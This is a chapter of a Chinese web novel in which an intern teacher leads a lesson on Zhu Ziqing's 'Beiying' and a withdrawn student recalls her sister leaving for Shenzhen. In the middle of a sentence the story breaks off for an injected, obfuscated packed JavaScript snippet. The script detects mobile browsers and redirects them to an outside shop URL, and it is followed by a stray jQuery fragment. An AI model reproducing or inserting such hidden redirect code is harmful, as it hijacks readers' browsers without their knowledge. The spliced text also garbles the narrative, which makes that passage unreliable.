早读下课铃停歇，教室内人声嘈杂。
林知意站在讲台上，把帆布包搁在椅子上，从中掏出一本语文课本。
第二节上语文。
李浩在过道里拍了两下篮球。表皮沾灰的篮球在水磨石地板上留下两个印子。
“回座位。”林知意出声。
话音偏低，被后排张逸飞拖拽椅子的动静盖住。
林知意拿起黑板擦，在讲桌边缘敲击两下。木头撞击声传开，前排几个女生转过头。
刘国强正巧从前门外路过，往教室内看了一眼。
李浩立刻抱球窜回座位，张逸飞停下踢椅子的动作，教室安静下来。
林知意转身面向黑板，从粉笔盒里挑出一根白/粉笔，抬手在黑板正中间写字。
粉笔偏脆，刚写完一个“朱”字便断开。半截粉笔头掉在讲台下，滚进角落。
林知意没去捡，用剩下的半截继续板书。
板书完成，上面是“背影朱自清”五个字。
字迹偏小，笔画略显生疏，不如前任语文老师王建国写的行书大。
“字真丑。”倒数第三排一个男生嘀咕出声。
旁边几人跟着发笑。
林知意转身把半截粉笔扔回盒内，她听清了那句话。
脸颊泛起微红，她拍掉手上的粉笔灰，看向台下：“我确实该多练练。”
没人接话。
陈小满在底下翻找橡皮，低声嘟囔：“还挺老实。”
苏念坐在最后一排靠窗位置。她看着黑板上的字，把压/在课本底下的《我与地坛》往里推移，直到书脊没入阴影。
“今天上第六课。”林知意翻开课本，“大家翻到四十三页。”
班里响起一片翻书的哗啦声。
周雨晴坐在第一排正中。她翻开课本，顺手把旁边那本厚重《教材全解》翻到对应页码，拿出一支红笔准备划重点。
以前王建国上新课流程固定。第一步标自然段，第二步抄写时代背景，第三步背诵中心思想。考试考什么就划什么。
林知意没拿教鞭。她双手撑在讲桌两边，看向台下。
“大家先自己把课文读一遍。”林知意说，“读完后告诉我哪个细节打动你。”
周雨晴拿红笔的手停在半空。她抬头看了林知意一眼，又低头看《教材全解》。上面只有段落大意，没写哪个细节打动人。
“不用出声，默读。”林知意补充。
教室安静下来。
苏念低着头。窗外的风吹进来，把课本纸页吹得翘起。她用左手压住纸边。
这篇课文她看过。
文字印在白纸上。父亲肥胖的身子，青布棉袍，黑布马褂，蹒跚走到铁道边，慢慢探身下去。
苏念看着这些字，脑子里出现绿皮火车。
前年春节过完，苏敏回深圳，苏念去火车站送行。
进站口人挤人。
苏敏背着红白条纹编织袋，袋内装着姜翠花腌的咸菜和几件旧衣服。
苏敏没有回头。
她跟着人流往前挤，肩膀被旁人的行李箱撞歪，又自己调整姿势，直到那个背着编织袋的身影消失在检票口铁栅栏后。
苏念当时站在花坛边，手里攥着苏敏塞给她的五十块钱。
她收回思绪，视线重新落在课本上。
十分钟过去。
林知意看了一眼手表：“看完了吗？谁来说说。”
教室里没人动。大部分人低着头，避免和老师对视。
周雨晴举起右手，手背绷直。
“周雨晴，你说。”
周雨晴站起身。她没看课本，视线平视前方：“买橘子的细节，父亲穿过铁道去买橘子，动作艰难。这体现了深沉父爱，也表达了作者对父亲的感激和愧疚。”
一字不差，全是教辅书上的原话。
前排几个女生跟着点头。
林知意听完，没说对也没说错，点头示意：“坐下。”
周雨晴坐直身体，给红笔盖上笔帽。她习惯了王建国大声夸奖“完全正确”，现在这种反应让她不适。
“还有其他人吗？”林知意问。
李浩在后面起哄：“班长都说完标准答案了，还说啥啊。”
“陈小满。”林知意点名。
陈小满受惊，站起来碰倒文具盒。她结巴出声：“我……我也觉得是买橘子那里，体现了父爱。”
“张逸飞。”
张逸飞靠着椅背，没站起来：“没看懂。”
班里有人笑出声。
林知意没生气。她走到讲台侧面，离开讲桌遮挡。
“买橘子是重点。”林知意看向后排，“大家有没有想过一个问题。”
说话声停歇。
“为什么是背影？”林知意抛出问题，“作者写了那么多，为何通篇写背影，不写正脸？”
没人回答。
周雨晴皱眉。她把《教材全解》往后翻动两页，没找到关于这个问题的解析。这不考，她想。
教室内仅有窗外树叶摩/擦的沙沙声。
林知意站在原地，没逼迫学生回答。
“因为面对面的时候，我们往往看不见真正情感。”林知意开口，声音在安静教室内传开。
苏念抬起头。
“面对面的时候，人会掩饰，会吵架，觉得对方烦。”林知意看着手里的课本，“反而是目送一个人离开的时候。看着他的背影，他不知你在看他，你也不用掩饰自己。”
林知意合拢书本。
“这个时候你才发现，有些东西你从来没注意过。比如他变老了，比如他其实爱你。”
这句话落在教室内。
前排几个男生还在转笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849266|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。陈小满在草稿纸上画圈。
苏念坐在角落，手里的圆珠笔停在半空。
笔尖蓝墨水积聚，滴在课本四十三页空白处，晕开一个蓝点。
她想起苏敏的编织袋，想起姜翠花每天早上在厨房切菜时佝偻的背。
苏念低下头，把笔尖按在纸上，在蓝点旁边写字。
字写得偏小，挤在两行印刷体中间。
“看背影的时候，被看的人不知道。”
写完，她用大拇指压住那行字，指腹沾上少许未干墨水。
下课铃响。
刺耳电铃声打破教室内的安静。
林知意走回讲桌，把课本放进帆布包内。“今天就上到这里，课后大家把生字词抄写三遍。”
“林老师。”
周雨晴举手，直接站起身。
林知意停下动作：“怎么了？”
“我有个问题。”周雨晴声音清脆，全班都能听见，“朱自清写了这篇文章之后，他和他父亲的关系变好了吗？他们后来怎么样了？”
后排几个准备往外跑的男生停住脚。
这是个超纲问题，课本上没写，教辅书上也没写。
周雨晴看着讲台，她不喜欢这种抓不到标准答案的课。她要证明自己依然是掌握较多知识的那个人，也要看看这个新来的实习老师到底有多少本事。
林知意愣了两秒。
她站在讲台上，看着周雨晴。
教室安静。
所有人在等她回答。
“这个我需要回去再确认一下。”林知意没有编造也没有敷衍，“明天上课我告诉你。”
周雨晴抿了一下嘴唇。
“好的，谢谢林老师。”周雨晴坐下。
旁边一个女生凑过来，压低声音：“这都不知道。”
声音偏低，前排几个人听得清楚。
林知意拿起帆布包。她没接话，背包走下讲台。
走廊上已有学生跑动。
林知意没走前门。她顺着靠窗过道，往教室后面走。
苏念坐在最后一排。
听到脚步声靠近，苏念迅速把语文课本合拢。
动作偏快，课本底下的东西露了出来。
那是一本米色封面的旧书。书角卷边，封面上印着《我与地坛》四个字。
苏念把语文课本压/在上面，手掌盖住书脊。她转头看向窗外，留给过道一个后脑勺，伪装成发呆的透明人。
林知意从她身边走过。
脚步没停。帆布包带子擦过苏念课桌边缘。
林知意余光扫过那张课桌。
她看到了那本米色旧书，也看到了女孩压/在上面的手。
她没说话，径直从后门走出教室。
苏念松开手，掌心有汗。她用手指蹭了一下校服裤子，把那本旧书塞进抽屉深处。